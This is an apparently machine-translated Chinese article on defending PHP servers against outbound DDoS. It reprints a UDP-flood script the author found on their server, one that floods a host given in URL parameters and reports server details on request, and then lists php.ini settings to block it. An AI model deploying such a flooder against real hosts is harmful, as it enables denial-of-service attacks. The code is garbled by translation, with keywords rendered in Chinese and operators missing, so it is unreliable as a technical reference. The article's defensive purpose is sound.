PHP攻击,php攻击方式,php的ddos攻击解决方法

PHP攻击,php攻击方式,php的ddos攻击解决方法

本文主要介绍php中ddos攻击的解决方案,并结合实例分析ddos攻击程序的原理和针对性解决方案。是一个很实用的技能,有需要的朋友可以参考一下。

本文描述了php中ddos攻击的解决方案。分享给你,供你参考。具体分析如下:

今天我自己的一台机器突然向外发送了大量的数据包,可以达到每秒1G以上。虽然不能通过策略发送UDP禁包,但是占用了很多cup,所以我终于想到了解决办法。

先看源代码。代码如下:

复制代码如下:服务器端编程语言(Professional Hypertext Preprocessor的缩写)

set _ time _ limit(999999);

$ host=$ _ GET[ host ];

$ port=$ _ GET[ port ];

$ exec _ time=$ _ GET[ time ];

$ Sendlen=65535

$ packets=0;

ignore_user_abort(真);

if (StrLen($host)==0或StrLen($port)==0或StrLen($exec_time)==0){

if (StrLen($_GET[rat])0){

echo $_GET[rat]。$_SERVER[HTTP_HOST]。|.GetHostByName($_SERVER[服务器名称])。|.php_uname()。|.$_SERVER[SERVER_SOFTWARE]。$ _ GET[ rat ];

退出;

}

“echo”参数不能为空!

退出;

}

for($ I=0;$ i $ Sendlen$i ){

$出局。= A

}

$ max _ time=time()$ exec _ time;

while(1){

$数据包;

if(time() $max_time){

打破;

}

$fp=fsockopen(udp://$host ,$port,$errno,$errstr,5);

if($fp){

fwrite($fp,$ out);

fclose($ FP);

}

}

echo 发送主机:$ Host:$ portbrbr ;

echo 发送流:$packets * ($Sendlen/1024=。round($Sendlen/1024,2)。)kb/1024=。round($ packets * $ send len/1024/1024,2)。mbbrbr ;

回显“发送速率:”。round($packets/$exec_time,2)。包/秒;。round($ packets/$ exec _ time * $ send len/1024/1024,2)。MB/s ;

关键在于以下几点:

复制代码如下:$ fp=fsockOpen (UDP://$ IP ,$ rand,$ errno,$ errstr,5);

方法很简单。向目标主机发送UDP包,再加上无限循环的定义,会产生更大的压力。

这个压力是给执行这个脚本的服务器的,因为它首先占用了自己的网络带宽、CPU等大量资源。如果您想使用这个脚本向目标站点施加压力,您需要在多台服务器上执行这个脚本。DDOS,既然fsockopen是用来请求外部的,你就不要让他请求了。

php.ini里设置

,代码如下:

复制代码如下:allow_url_fopen=Off

如果他还能以这种方式收缩,代码如下:

extension=php_sockets.dll

换成

;extension=php_sockets.dll

重启APACHE,IIS,NGINX,防止PHP DDOS外包。

另外,有网友表示,让脚本不允许设置为无超时很简单:

1.禁用设置时间限制功能。

2.启用PHP的安全模式(safe_mode=on)。

禁用socket功能可以直接禁用所有socket模块或者禁用fsockopen功能。建议经常使用socket发送邮件找回密码,建议开启直接开启安全模式。不过这种情况下,脚本每30秒超时一次,估计没有哪个黑客会孤独到每30秒点击一次启动DDOS。

经验:

这种问题一般是网站安全问题造成的。我们应该注意网站安全和服务器安全,这样就不容易被入侵。如果可以用麦考菲的朋友,限制网站会更好。

希望这篇文章对大家的php编程有所帮助。

PHP攻击,php攻击方式,php的ddos攻击解决方法